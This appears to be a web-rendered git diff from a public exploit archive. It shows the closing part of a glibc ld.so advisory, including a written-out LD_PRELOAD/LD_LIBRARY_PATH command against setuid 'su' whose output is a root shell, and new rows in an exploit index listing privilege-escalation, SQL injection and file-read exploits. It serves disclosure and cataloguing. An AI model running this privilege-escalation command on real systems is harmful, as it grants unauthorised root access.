ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m33.926s
|
||||||
|
user 0m5.464s
|
||||||
|
sys 0m28.429s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<27)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
sh-4.2# id; exit
|
||||||
|
uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||||
|
|
||||||
|
real 1m30.604s
|
||||||
|
user 0m16.169s
|
||||||
|
sys 1m14.395s
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Acknowledgments
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
We thank the members of the linux-distros@openwall list.
|
||||||
|
|
@ -9393,6 +9393,7 @@ id,file,description,date,author,type,platform,port
|
||||||
43225,exploits/macos/local/43225.sh,"Proxifier for Mac 2.19 - Local Privilege Escalation",2017-12-06,"Mark Wadham",local,macos,
|
43225,exploits/macos/local/43225.sh,"Proxifier for Mac 2.19 - Local Privilege Escalation",2017-12-06,"Mark Wadham",local,macos,
|
||||||
43247,exploits/macos/local/43247.md,"Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation",2017-12-06,"Mark Wadham",local,macos,
|
43247,exploits/macos/local/43247.md,"Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation",2017-12-06,"Mark Wadham",local,macos,
|
||||||
43248,exploits/macos/local/43248.md,"Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation",2017-11-28,Lemiorhan,local,macos,
|
43248,exploits/macos/local/43248.md,"Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation",2017-11-28,Lemiorhan,local,macos,
|
||||||
|
43331,exploits/linux/local/43331.txt,"glibc ld.so - Memory Leak / Buffer Overflow",2017-12-13,"Qualys Corporation",local,linux,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote (PoC)",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote (PoC)",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
|
@ -38359,3 +38360,4 @@ id,file,description,date,author,type,platform,port
|
||||||
43316,exploits/php/webapps/43316.txt,"Vanguard 1.4 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,
|
43316,exploits/php/webapps/43316.txt,"Vanguard 1.4 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,
|
||||||
43323,exploits/php/webapps/43323.txt,"Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection",2017-12-12,"Ihsan Sencan",webapps,php,80
|
43323,exploits/php/webapps/43323.txt,"Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection",2017-12-12,"Ihsan Sencan",webapps,php,80
|
||||||
43324,exploits/php/webapps/43324.txt,"Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload",2017-12-12,"Colette Chamberland",webapps,php,80
|
43324,exploits/php/webapps/43324.txt,"Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload",2017-12-12,"Colette Chamberland",webapps,php,80
|
||||||
|
43332,exploits/cgi/webapps/43332.txt,"Meinberg LANTIME Web Configuration Utility 6.16.008 - Arbitrary File Read",2017-12-13,"Jakub Palaczynski",webapps,cgi,443
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue